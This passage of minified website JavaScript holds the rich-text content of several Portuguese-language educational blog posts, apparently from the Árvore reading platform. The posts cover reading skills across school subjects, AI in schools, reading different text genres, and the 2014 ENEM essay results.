midi\\xe1ticos, fontes hist\\xf3ricas e iconogr\\xe1ficas. \"}),/*#__PURE__*/e(\"p\",{children:\"Na disciplina de geografia, por exemplo, o professor pode explorar a leitura de um mapa. Assim, ir\\xe1 analisar a estrutura pr\\xf3pria de um texto cartogr\\xe1fico, conduzindo o estudante a relacionar imagem-texto e entender as fun\\xe7\\xf5es das legendas.\"}),/*#__PURE__*/e(\"p\",{children:\"Professores de hist\\xf3ria, al\\xe9m de analisar documentos hist\\xf3ricos, tamb\\xe9m podem investigar a hist\\xf3ria recente atrav\\xe9s de textos da esfera jornal\\xedstica. \"}),/*#__PURE__*/a(\"p\",{children:[\"Desse modo, o desenvolvimento da compet\\xeancia leitora do estudante acontece em prol de uma \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/educacao-midiatica\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"educa\\xe7\\xe3o midi\\xe1tica\"})}),\". \"]}),/*#__PURE__*/e(\"p\",{children:\"Afinal, no s\\xe9culo XXI, \\xe9 preciso aprender a ler todas as linguagens, em todas as m\\xeddias e suportes, e navegar o mundo digital de modo \\xe9tico e cr\\xedtico.\"}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"3 - Ci\\xeancias da Natureza \"})}),/*#__PURE__*/a(\"p\",{children:[\"Segundo a \",/*#__PURE__*/e(o,{href:\"http://basenacionalcomum.mec.gov.br/images/BNCC_EI_EF_110518_versaofinal_site.pdf\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"BNCC\"})}),\", a \\xe1rea de Ci\\xeancias da Natureza precisa assegurar aos estudantes o acesso \\xe0 diversidade de conhecimentos cient\\xedficos produzidos ao longo da hist\\xf3ria. \"]}),/*#__PURE__*/e(\"p\",{children:\"Aproximar os estudantes aos principais processos, pr\\xe1ticas e procedimentos da investiga\\xe7\\xe3o cient\\xedfica \\xe9 indispens\\xe1vel! Desse modo, a leitura de textos ou artigos cient\\xedficos pode e deve fazer parte do desenvolvimento da compet\\xeancia leitora.\"}),/*#__PURE__*/e(\"p\",{children:\"Nesse contexto, professores de qu\\xedmica, f\\xedsica ou biologia t\\xeam o compromisso de orientar a leitura e interpreta\\xe7\\xe3o de dados cient\\xedficos.\"}),/*#__PURE__*/e(\"p\",{children:\"Mediar a pesquisa em artigos cient\\xedficos ou revistas de ci\\xeancia, conduzir a leitura de infogr\\xe1ficos e elaborar argumentos com base em evid\\xeancias fazem parte desse processo de aprendizagem.\"}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"4 - Matem\\xe1tica\"})}),/*#__PURE__*/a(\"p\",{children:[\"A \",/*#__PURE__*/e(o,{href:\"http://basenacionalcomum.mec.gov.br/images/BNCC_EI_EF_110518_versaofinal_site.pdf\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"compet\\xeancia 6\"})}),\" da \\xe1rea de Matem\\xe1tica aponta para a necessidade da utiliza\\xe7\\xe3o de diferentes registros e linguagens no pensamento matem\\xe1tico. \"]}),/*#__PURE__*/e(\"p\",{children:\"Para pensar matematicamente, o estudante entrar\\xe1 em contato com gr\\xe1ficos, tabelas, esquemas, al\\xe9m do pr\\xf3prio texto escrito na l\\xedngua materna. \"}),/*#__PURE__*/e(\"p\",{children:\"Nesse sentido, \\xe9 fundamental que professores dessa disciplina mediem processos de leitura que aprofundem os recursos lingu\\xedsticos pr\\xf3prios dessa \\xe1rea de conhecimento. \"}),/*#__PURE__*/e(\"p\",{children:\"Por exemplo, um simples exerc\\xedcio de matem\\xe1tica apresenta palavras para descrever um determinado problema. Por isso, trabalhar a interpreta\\xe7\\xe3o de palavras \\xe9 essencial. O que significa dizer “sobra” em um contexto matem\\xe1tico? E “adi\\xe7\\xe3o”?\"}),/*#__PURE__*/e(\"p\",{children:\"\\xc9 de suma import\\xe2ncia que um leitor em forma\\xe7\\xe3o compreenda as perguntas e problemas que lhe s\\xe3o apresentados.\"}),/*#__PURE__*/e(\"p\",{children:\"Ademais, gr\\xe1ficos e outros esquemas matem\\xe1ticos s\\xe3o tipos de texto e, por isso, envolvem tamb\\xe9m processos de leitura. Orientar tais processos \\xe9 indispens\\xe1vel para desenvolver a compet\\xeancia leitora!\"}),/*#__PURE__*/a(\"p\",{children:[/*#__PURE__*/e(\"br\",{}),/*#__PURE__*/e(\"br\",{className:\"trailing-break\"})]}),/*#__PURE__*/a(\"p\",{children:[\"Esperamos que esse texto tenha ampliado o seu repert\\xf3rio sobre o desenvolvimento da compet\\xeancia leitora nas diferentes disciplinas. Confira tamb\\xe9m o nosso v\\xeddeo \",/*#__PURE__*/e(o,{href:\"https://www.youtube.com/watch?v=9rj65KG4tD0\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"5 dicas para trabalhar diferentes g\\xeaneros textuais em sala de aula\"})}),\". At\\xe9 a pr\\xf3xima!\"]})]});export const richText15=/*#__PURE__*/a(i.Fragment,{children:[/*#__PURE__*/e(\"p\",{children:\"Quer saber como a intelig\\xeancia artificial na educa\\xe7\\xe3o pode contribuir com o ensino e aprendizagem? Como ela pode ainda ajudar o trabalho da gest\\xe3o escolar? Ent\\xe3o, continue a leitura para entender melhor esse conceito e as suas poss\\xedveis aplica\\xe7\\xf5es no contexto escolar!\"}),/*#__PURE__*/e(\"h2\",{children:\"O que \\xe9 a intelig\\xeancia artificial?\"}),/*#__PURE__*/e(\"p\",{children:\"A intelig\\xeancia artificial (IA) \\xe9 uma tecnologia avan\\xe7ada que tem o objetivo de criar sistemas capazes de realizar tarefas que s\\xf3 seres humanos poderiam executar antes.\"}),/*#__PURE__*/e(\"p\",{children:\"Ela utiliza dados e algoritmos para aprender, melhorar e tomar decis\\xf5es de forma aut\\xf4noma. A IA tem aplica\\xe7\\xf5es diversas, desde assistentes virtuais at\\xe9 sistemas de seguran\\xe7a e an\\xe1lise de dados.\"}),/*#__PURE__*/e(\"p\",{children:\"Apesar de n\\xe3o ser uma tecnologia nova, a IA tem evolu\\xeddo significativamente. Ela tem se mostrado \\xfatil para melhorar a efici\\xeancia de processos e tomada de decis\\xf5es em empresas e organiza\\xe7\\xf5es.\"}),/*#__PURE__*/e(\"p\",{children:\"Se voc\\xea \\xe9 gestor escolar e quer saber mais sobre IA, continue lendo e descubra como essa tecnologia pode transformar o mundo educacional.\"}),/*#__PURE__*/e(\"img\",{alt:\"\",className:\"framer-image\",src:\"https://framerusercontent.com/images/rxkosywHmayJdCkCvhCGSW0z4w.webp\",srcSet:\"https://framerusercontent.com/images/rxkosywHmayJdCkCvhCGSW0z4w.webp?scale-down-to=512 512w,https://framerusercontent.com/images/rxkosywHmayJdCkCvhCGSW0z4w.webp 600w\"}),/*#__PURE__*/e(\"h2\",{children:\"Como aplicar a intelig\\xeancia artificial na educa\\xe7\\xe3o?\"}),/*#__PURE__*/a(\"p\",{children:[\"De fato, essa \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/quais-as-6-maiores-tendencias-da-transformacao-digital-na-educacao\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"tecnologia pode contribuir\"})}),\" tanto para melhorar a gest\\xe3o da escola, principalmente no aspecto pedag\\xf3gico, quanto para otimizar a aprendizagem. Conhe\\xe7a, a seguir, alguns exemplos da sua aplica\\xe7\\xe3o:\"]}),/*#__PURE__*/e(\"h3\",{children:\"Gest\\xe3o pedag\\xf3gica\"}),/*#__PURE__*/a(\"p\",{children:[\"A intelig\\xeancia artificial \\xe9 capaz de coletar, cruzar e interpretar um grande volume de dados. Por isso, ela \\xe9 capaz de analisar o desempenho dos estudantes em exames internos e externos (\",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/como-usar-a-tecnologia-para-preparar-seus-alunos-para-o-vestibular\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"vestibulares\"})}),\", \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/novo-enem\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"ENEM \"})}),\"etc.). \\xa0A IA tamb\\xe9m pode identificar os conte\\xfados que eles dominam, bem como eventuais \",/*#__PURE__*/e(\"em\",{children:\"gaps\"}),\" em sua aprendizagem.\"]}),/*#__PURE__*/e(\"p\",{children:\"Portanto, se antes o gestor ou coordenador precisava analisar v\\xe1rios gr\\xe1ficos e uma s\\xe9rie de informa\\xe7\\xf5es, hoje essa an\\xe1lise \\xe9 facilitada pela IA. Em outras palavras, ela identifica onde a institui\\xe7\\xe3o precisa concentrar seus esfor\\xe7os para melhorar os resultados de seus alunos.\"}),/*#__PURE__*/e(\"h3\",{children:\"Identifica\\xe7\\xe3o do n\\xedvel dos estudantes\"}),/*#__PURE__*/a(\"p\",{children:[\"Todo profissional que j\\xe1 trabalhou em sala de aula entende o quanto um grupo de alunos \\xe9 heterog\\xeaneo. Os estudantes apresentam lacunas de conhecimento \\xfanicas, com facilidades e dificuldades maiores para aprender determinados conte\\xfados ou disciplinas. Nesse sentido, a intelig\\xeancia artificial facilita um ensino adaptativo, que torna individual essa \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/aprendizado-baseado-em-projetos\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"aprendizagem\"})}),\".\"]}),/*#__PURE__*/a(\"p\",{children:[\"Como dissemos, a m\\xe1quina consegue identificar quais s\\xe3o as dificuldades dos alunos. A partir da\\xed, ela oferece um \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/5-dicas-de-como-dar-feedbacks-assertivos-aos-seus-alunos\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"feedback\"})}),\" imediato e prop\\xf5e uma trilha de conte\\xfados e atividades para solucionar essas lacunas. \"]}),/*#__PURE__*/e(\"p\",{children:\"Esse ensino adaptativo acompanha o estudante em sua jornada de aprendizagem, propondo conte\\xfados e avaliando o seu aproveitamento no ritmo de cada aluno. Al\\xe9m disso, a IA consegue repassar esses insights aos professores, que conhecem melhor a turma e cada aluno individualmente. Assim, eles podem atuar de maneira ainda mais eficaz.\"}),/*#__PURE__*/e(\"h3\",{children:\"Personaliza\\xe7\\xe3o do ensino\"}),/*#__PURE__*/e(\"p\",{children:\"Sabemos que o professor \\xe9 uma figura essencial para a aprendizagem, pois domina n\\xe3o s\\xf3 o conte\\xfado, mas diferentes estrat\\xe9gias de ensino. Por\\xe9m, tamb\\xe9m compreendemos que cada estudante — e mesmo cada turma — t\\xeam caracter\\xedsticas diferentes, que exigem uma adapta\\xe7\\xe3o dos m\\xe9todos a cada situa\\xe7\\xe3o. A intelig\\xeancia artificial ajuda tamb\\xe9m nessa compreens\\xe3o. Ela consegue identificar o perfil emocional e cognitivo dos estudantes.\"}),/*#__PURE__*/a(\"p\",{children:[\"Assim, quando vai \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/preparar-aula-saiba-como-usar-a-tecnologia-nessa-tarefa\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"preparar as aulas\"})}),\", o professor pode estabelecer um passo a passo efetivo para determinados indiv\\xedduos ou turmas. Com isso, pode ainda adaptar seus m\\xe9todos e planos de acordo com cada um deles. Baseada em dados, a IA consegue prever at\\xe9 as futuras dificuldades de um grupo de alunos.\"]}),/*#__PURE__*/e(\"p\",{children:\"Dessa forma, todos os envolvidos t\\xeam a oportunidade de atuar preventivamente. Isso garante suporte individual aos estudantes e estrat\\xe9gias para solucionar problemas antes mesmo de abordar um novo conte\\xfado.\"}),/*#__PURE__*/e(\"h3\",{children:\"Gamifica\\xe7\\xe3o inteligente\"}),/*#__PURE__*/a(\"p\",{children:[\"Uma das principais tend\\xeancias da educa\\xe7\\xe3o hoje \\xe9 a \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/gamificacao-na-educacao-como-usar-para-engajar-seus-alunos\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"gamifica\\xe7\\xe3o\"})}),\". No entanto, para que os alunos tenham interesse em aprender utilizando essa estrat\\xe9gia, \\xe9 fundamental que os n\\xedveis sejam equilibrados. Eles precisam ser desafiadores, ainda assim, poss\\xedveis de serem vencidos de acordo com os conhecimentos e habilidades do estudante.\"]}),/*#__PURE__*/e(\"p\",{children:\"Se o aluno n\\xe3o est\\xe1 conseguindo vencer nenhum dos obst\\xe1culos, a tend\\xeancia \\xe9 que ele perca o interesse. O mesmo acontece quando o jogo se torna f\\xe1cil demais — nesse caso, o estudante n\\xe3o se sente desafiado. Para otimizar esse processo, a intelig\\xeancia artificial analisa o desempenho de cada estudante e adapta o jogo de acordo com a sua atua\\xe7\\xe3o.\"}),/*#__PURE__*/e(\"p\",{children:\"Se o game est\\xe1 muito f\\xe1cil e o aluno come\\xe7a a ganhar sempre, o n\\xedvel de dificuldade aumenta. Caso contr\\xe1rio, o sistema tamb\\xe9m \\xe9 capaz de tornar os desafios compat\\xedveis com sua capacidade atual.\"}),/*#__PURE__*/e(\"h3\",{children:\"Preven\\xe7\\xe3o \\xe0 evas\\xe3o\"}),/*#__PURE__*/e(\"p\",{children:\"Em uma escala mais ampla, a IA \\xe9 capaz de desenhar um perfil detalhado dos alunos e identificar os mais propensos \\xe0 evas\\xe3o.\"}),/*#__PURE__*/a(\"p\",{children:[\"A partir desses dados, a escola pode tomar medidas para prevenir o problema. Pode ser desde um acompanhamento e \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/comunicacao-com-os-pais-desempenho-escolar\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"comunica\\xe7\\xe3o com a fam\\xedlia\"})}),\" at\\xe9 a sugest\\xe3o de medidas para potencializar a aprendizagem.\"]}),/*#__PURE__*/e(\"img\",{alt:\"\",className:\"framer-image\",src:\"https://framerusercontent.com/images/meTp0OZKZboXTbhhoCl4dXfy9eA.gif\",srcSet:\"https://framerusercontent.com/images/meTp0OZKZboXTbhhoCl4dXfy9eA.gif?scale-down-to=512 512w,https://framerusercontent.com/images/meTp0OZKZboXTbhhoCl4dXfy9eA.gif 600w\"}),/*#__PURE__*/e(\"h2\",{children:\"Como a Intelig\\xeancia Artificial pode ajudar a gest\\xe3o escolar?\"}),/*#__PURE__*/e(\"p\",{children:\"A intelig\\xeancia artificial (IA) tem sido cada vez mais utilizada em diversos setores e tamb\\xe9m pode ser uma grande aliada na gest\\xe3o escolar. Confira alguns exemplos:\"}),/*#__PURE__*/e(\"h3\",{children:\"1. Otimiza\\xe7\\xe3o do processo de matr\\xedcula\"}),/*#__PURE__*/e(\"p\",{children:\"A intelig\\xeancia artificial na educa\\xe7\\xe3o pode ajudar a gest\\xe3o escolar no processo de matr\\xedcula, permitindo que as escolas automatizem o processo de inscri\\xe7\\xe3o. Com a IA, \\xe9 poss\\xedvel identificar os alunos mais propensos a se inscreverem, prever a demanda por cursos e hor\\xe1rios e enviar lembretes personalizados para os alunos interessados.\"}),/*#__PURE__*/e(\"h3\",{children:\"2. Otimiza\\xe7\\xe3o da gest\\xe3o de recursos\"}),/*#__PURE__*/e(\"p\",{children:\"A intelig\\xeancia artificial pode ajudar as escolas a otimizar a gest\\xe3o de recursos, como salas de aula, materiais escolares e professores.\"}),/*#__PURE__*/e(\"p\",{children:\"Por meio da an\\xe1lise de dados, a IA pode ajudar a prever a demanda por recursos. Al\\xe9m de otimizar a aloca\\xe7\\xe3o de recursos para maximizar a efici\\xeancia e minimizar os custos.\"}),/*#__PURE__*/e(\"h3\",{children:\"3. Melhoria da comunica\\xe7\\xe3o com os pais\"}),/*#__PURE__*/e(\"p\",{children:\"A IA tamb\\xe9m pode ajudar as escolas a melhorar a comunica\\xe7\\xe3o com os pais dos alunos. Com a automa\\xe7\\xe3o de tarefas repetitivas, como enviar atualiza\\xe7\\xf5es de progresso ou faltas, a IA permite que os educadores dediquem mais tempo \\xe0 intera\\xe7\\xe3o com os pais e alunos.\"}),/*#__PURE__*/e(\"p\",{children:\"Em resumo, a intelig\\xeancia artificial pode ajudar as escolas a otimizar processos, personalizar o aprendizado, identificar problemas precocemente, gerenciar recursos de forma eficiente e melhorar a comunica\\xe7\\xe3o com pais e alunos.\"}),/*#__PURE__*/e(\"p\",{children:\"Se voc\\xea \\xe9 gestor escolar, vale a pena considerar como a IA pode ajudar sua institui\\xe7\\xe3o a se destacar e oferecer uma educa\\xe7\\xe3o de qualidade.\"}),/*#__PURE__*/e(\"h2\",{children:\"Cuidados com a Intelig\\xeancia Artificial\"}),/*#__PURE__*/e(\"p\",{children:\"Finalmente, vale lembrar que a IA ainda est\\xe1 em um est\\xe1gio inicial de desenvolvimento, se comparada ao seu verdadeiro potencial. Ainda assim, empresas j\\xe1 usam essa tecnologia em diferentes setores e se beneficiam de seus insights para melhorar a qualidade de produtos e processos, com vantagens evidentes. Resta agora ao setor educacional se apropriar tamb\\xe9m da intelig\\xeancia artificial e traz\\xea-la para a sala de aula.\"}),/*#__PURE__*/e(\"p\",{children:\"Como vimos, as institui\\xe7\\xf5es poder\\xe3o potencializar a aprendizagem dos estudantes, oferecer uma alternativa individualizada de acompanhamento e continuar aperfei\\xe7oando a sua atua\\xe7\\xe3o por meio dos insights fornecidos pela m\\xe1quina.\"}),/*#__PURE__*/a(\"p\",{children:[/*#__PURE__*/e(\"br\",{}),/*#__PURE__*/e(\"br\",{className:\"trailing-break\"})]}),/*#__PURE__*/a(\"p\",{children:[\"Gostou do nosso conte\\xfado? Baixe tamb\\xe9m gratuitamente o \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/materiais/chatgpt-nas-escolas?utm_source=blog_arvore&utm_medium=referral&utm_content=banner_ebook_chatgpt&utm_campaign=blog_arvore2023\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"e-book sobre ChatGPT na escola.\"})})]})]});export const richText16=/*#__PURE__*/a(i.Fragment,{children:[/*#__PURE__*/a(\"p\",{children:[\"Voc\\xea j\\xe1 reparou que \",/*#__PURE__*/e(\"strong\",{children:\"lemos tirinhas\"}),\" interpretando as imagens, os sorrisos e caretas dos personagens? E que olhamos os bal\\xf5es com frases curtas e muitas vezes apenas com onomatopeias, do tipo Zummmm, Smack, T\\xf3immm… E entendemos tudo? E quando os bal\\xf5es s\\xf3 v\\xeam com aquelas bolinhas, que nos fazem entender que \\xe9 pensamento e n\\xe3o fala? N\\xe3o \\xe9 bacana?! \\xc9 uma linguagem espec\\xedfica dos quadrinhos, que pode ser encontrada nos jornais, nas revistas, e em livros como o da Mafalda, por exemplo.\"]}),/*#__PURE__*/e(\"p\",{children:\"As estrat\\xe9gias de leitura descritas acima s\\xe3o pr\\xf3prias desse texto, e nos fazem identificar que nosso movimento de leitura deve unir a imagem ao que est\\xe1 escrito. Al\\xe9m disso, nos remete tamb\\xe9m a uma leitura mais deleitosa, de divers\\xe3o, de poder dar risada!\"}),/*#__PURE__*/e(\"h2\",{children:\"O que aprendemos quando lemos romance?\"}),/*#__PURE__*/e(\"p\",{children:\"Mas e se a nossa vontade for ler um romance? Um livro que narra uma hist\\xf3ria de aventura e amor, que escolhemos por que adoramos o autor e o seu jeito de contar, de forma po\\xe9tica, os sentimentos dos personagens? A\\xed, dessa vez, acionamos novas estrat\\xe9gias de leitura.\"}),/*#__PURE__*/e(\"p\",{children:\"Nessa situa\\xe7\\xe3o, o movimento do olhar muda, o envolvimento com a hist\\xf3ria \\xe9 mais duradouro e nossa expectativa em rela\\xe7\\xe3o ao texto tamb\\xe9m \\xa0\\xe9 modificada. A situa\\xe7\\xe3o de produ\\xe7\\xe3o \\xe9 outra, assim como a inten\\xe7\\xe3o. Os autores escreveram pensando que aquela sua hist\\xf3ria iria para um livro e n\\xe3o para um jornal ou uma revista.\"}),/*#__PURE__*/e(\"p\",{children:\"Isso tudo muda nossa rela\\xe7\\xe3o com o que vamos encontrar. O texto nos contar\\xe1 a hist\\xf3ria, e as imagens, dessa vez, n\\xf3s criaremos em nossas mentes! Quantas vezes j\\xe1 n\\xe3o lemos um livro, inventamos os rostos e cen\\xe1rios daquela narrativa e, em seguida, o cinema vem e lan\\xe7a o filme dessa sua hist\\xf3ria preferida e… Surpresa: os personagens e cen\\xe1rios s\\xe3o outros…! Muitas vezes adoramos e preferimos aquela vers\\xe3o do cineasta, mas outras vezes pensamos: meu her\\xf3i era mais valente e bonito! Esse \\xe9 o encanto dos romances contados em livros!\"})]});export const richText17=/*#__PURE__*/a(i.Fragment,{children:[/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"E quando lemos not\\xedcia?\"})}),/*#__PURE__*/e(\"p\",{children:\"Voc\\xea j\\xe1 pensou que ao lermos uma not\\xedcia no jornal, despertamos um senso cr\\xedtico para o fato lido e, naturalmente, vamos emitindo opini\\xe3o sobre o que lemos? Tentamos compreender como aquela not\\xedcia nos afeta, percebemos um jornalista que relata suas descobertas, sua reportagem, e apresenta o fruto de uma entrevista interessante que ele fez, por exemplo.\"}),/*#__PURE__*/e(\"p\",{children:\"O foco desse autor \\xe9 informar o leitor sobre o que acontece na cidade, no pa\\xeds, no mundo… Nossa rela\\xe7\\xe3o e nossa inten\\xe7\\xe3o ao pegar o jornal ou a revista, e ler as not\\xedcias da semana, \\xe9 outra, diferente do desejo que nos move para o romance. \\xc9 o desejo de estar “por dentro”, de estar antenado, de ter um repert\\xf3rio maior de informa\\xe7\\xe3o.\"}),/*#__PURE__*/e(\"blockquote\",{children:/*#__PURE__*/e(\"p\",{children:\"Todos os textos t\\xeam alguma coisa em comum: um discurso.\"})}),/*#__PURE__*/e(\"p\",{children:\"Com isso, mobilizamos outros caminhos de leitura, olhamos a manchete, selecionamos o caderno (Cultura, Esporte, Cotidiano), o tema, buscamos os textos do nosso jornalista preferido… Enfim, enquanto olhamos gr\\xe1ficos, box, legendas, imagens e nossos olhos se movem entre essas informa\\xe7\\xf5es, vamos prevendo o que encontrar em cada not\\xedcia!\"}),/*#__PURE__*/a(\"p\",{children:[/*#__PURE__*/e(\"strong\",{children:\"Esses movimentos \\xe9 que nos levam a compreender que todos os textos t\\xeam alguma coisa em comum: um discurso!\"}),\" Para analisar cada discurso, \\xe9 importante levar em conta que cada um foi escrito em uma determinada \\xe9poca, em um determinado lugar, por um determinado autor! E ainda por cima, para ser publicado em lugares diferentes, com intencionalidades distintas tamb\\xe9m.\"]}),/*#__PURE__*/e(\"blockquote\",{children:/*#__PURE__*/e(\"p\",{children:\"Saber ler \\xe9 saber ler diferentes discursos, em textos diversos\"})}),/*#__PURE__*/a(\"p\",{children:[\"Temos que nos apropriar de todas essas circunst\\xe2ncias de produ\\xe7\\xe3o que geram diferentes vozes para cada texto. E \\xe9 isso que os une. \",/*#__PURE__*/e(\"strong\",{children:\"Saber ler \\xe9 saber ler diferentes discursos, em textos diversos.\"})]}),/*#__PURE__*/e(\"p\",{children:\"E \\xe9 dessa forma, que o Guten News apresenta a not\\xedcia para o nosso jovem leitor. A not\\xedcia \\xe9 lida e curtida, pelo tema trazido e pelo discurso que a embala. Levamos o leitor a relacionar-se com o texto, por meio de jogos que o levam a pensar: “quem escreveu essa not\\xedcia?”, “em que momento da nossa hist\\xf3ria?”, “para quem ele escreveu?” e “para que ele usou essa express\\xe3o?”.\"}),/*#__PURE__*/a(\"p\",{children:[\"Al\\xe9m disso, a not\\xedcia instiga o leitor a pensar sobre o fato trazido e que rela\\xe7\\xf5es podem ser estabelecidas entre todos os seus conhecimentos pr\\xe9vios e o que ele vai encontrar de novidade na not\\xedcia! Movemos sempre habilidades diferentes para cada texto, na busca do que os une: \",/*#__PURE__*/e(\"strong\",{children:\"um discurso e uma hist\\xf3ria!\"})]}),/*#__PURE__*/e(\"p\",{children:\"‍\"}),/*#__PURE__*/a(\"p\",{children:[\"Gostou da nossa reflex\\xe3o? Confira tamb\\xe9m nosso \",/*#__PURE__*/e(o,{href:\"https://promo.arvore.com.br/literatura-infantil-melhoramentos?utm_source=blog_arvore&utm_medium=referral&utm_content=banner_final&utm_campaign=melhoramentos_2021\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"e-book sobre Literatura Infantil!\"})})]})]});export const richText18=/*#__PURE__*/a(i.Fragment,{children:[/*#__PURE__*/e(\"p\",{children:\"Nos \\xfaltimos dias, foram divulgados os resultados no Exame Nacional do Ensino M\\xe9dio, o ENEM. Os dados apresentam uma queda na m\\xe9dia das notas e uma das informa\\xe7\\xf5es que mais chama a aten\\xe7\\xe3o \\xe9 o desempenho dos alunos na reda\\xe7\\xe3o.\"}),/*#__PURE__*/a(\"p\",{children:[\"A m\\xe9dia das notas das provas de 2014 foi 9,7% mais baixa do que no ano anterior. Entre os \",/*#__PURE__*/e(\"strong\",{children:\"6,1 milh\\xf5es\"}),\" de candidatos que fizeram a avalia\\xe7\\xe3o, 529 mil tiraram \",/*#__PURE__*/e(\"strong\",{children:\"nota zero\"}),\".\"]}),/*#__PURE__*/a(\"p\",{children:[\"O tema da reda\\xe7\\xe3o de 2014 prop\\xf4s uma disserta\\xe7\\xe3o sobre a \",/*#__PURE__*/e(o,{href:\"https://gutennews.wordpress.com/2014/11/10/sem-bolinhos-com-super-herois-e-aprovada-a-restricao-das-propagandas-para-o-publico-infantil/\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"publicidade infantil no Brasil\"})}),\". Para tal atividade, os estudantes contavam com uma not\\xedcia sobre o tema, um infogr\\xe1fico e o trecho de um livro. Ainda assim, mais de 217 mil dos candidatos que zeraram a prova foram punidos por terem fugido do tema proposto.\"]}),/*#__PURE__*/e(\"p\",{children:\"Enquanto os 8,5% dos candidatos obtiveram a nota zero, apenas 250, o equivalente a 0,004% do total de estudantes conseguiram atingir a nota m\\xe1xima.\"}),/*#__PURE__*/e(\"p\",{children:\"Como os dados s\\xe3o recentes, ainda n\\xe3o \\xe9 poss\\xedvel identificar a causa exata do resultado insatisfat\\xf3rio, mas durante uma coletiva de imprensa, o ministro da Educa\\xe7\\xe3o Cid Gomes apresentou o seu palpite para explicar a queda nas notas de reda\\xe7\\xe3o.\"}),/*#__PURE__*/e(\"p\",{children:\"“Eu arriscaria uma tese em rela\\xe7\\xe3o a reda\\xe7\\xe3o: o tema de 2013 foi ‘lei seca’ e essa quest\\xe3o foi muito debatida, a m\\xeddia focou muito no tema”. O ministro compara a proposta de 2013 a do \\xfaltimo ano: “sem d\\xfavida foi um tema que n\\xe3o teve o mesmo grau de discuss\\xe3o nacional como aconteceu no tema de 2013”.\"})]});export const richText19=/*#__PURE__*/a(i.Fragment,{children:[/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"O que podemos aprender com estes resultados?\"})}),/*#__PURE__*/e(\"p\",{children:\"A reda\\xe7\\xe3o do ENEM \\xe9 feita para analisar se um candidato est\\xe1 apto para se expressar e argumentar a respeito de um assunto. A especialista em educa\\xe7\\xe3o da \\xc1rvore, Let\\xedcia Reina, aponta que a quest\\xe3o da atualidade n\\xe3o pode ser um fator determinante: “N\\xe3o deveria acontecer. S\\xe3o estudantes fazendo o ENEM, precisam ter repert\\xf3rio. Esse tipo de assunto precisa chegar nesses estudantes”.\"}),/*#__PURE__*/e(\"blockquote\",{children:/*#__PURE__*/e(\"p\",{children:\"O estudante que l\\xea bem o enunciado, n\\xe3o foge do tema.\"})}),/*#__PURE__*/a(\"p\",{children:[\"Outro ponto a ser considerado \\xe9 o n\\xfamero de reda\\xe7\\xf5es que \",/*#__PURE__*/e(\"strong\",{children:\"fugiram da proposta, \"}),\"que pode ser visto como um indicativo de que a compreens\\xe3o na leitura dos estudantes n\\xe3o est\\xe1 no n\\xedvel esperado. “\",/*#__PURE__*/e(\"strong\",{children:\"O estudante que l\\xea bem o enunciado n\\xe3o foge do tema.\"}),\" Ele pode criar, ele pode pensar sobre o tema, desenvolver argumentos”. Explica Let\\xedcia Reina.\"]}),/*#__PURE__*/e(\"p\",{children:\"Um dos fatores importantes para o bom desenvolvimento da escrita \\xe9 cultivar um repert\\xf3rio atrav\\xe9s da leitura. A especialista conta que os resultados insatisfat\\xf3rios devem dar impulso a mudan\\xe7as na did\\xe1tica das escolas: “A leitura \\xe9 fundamental pra isso. Se ele fugiu da 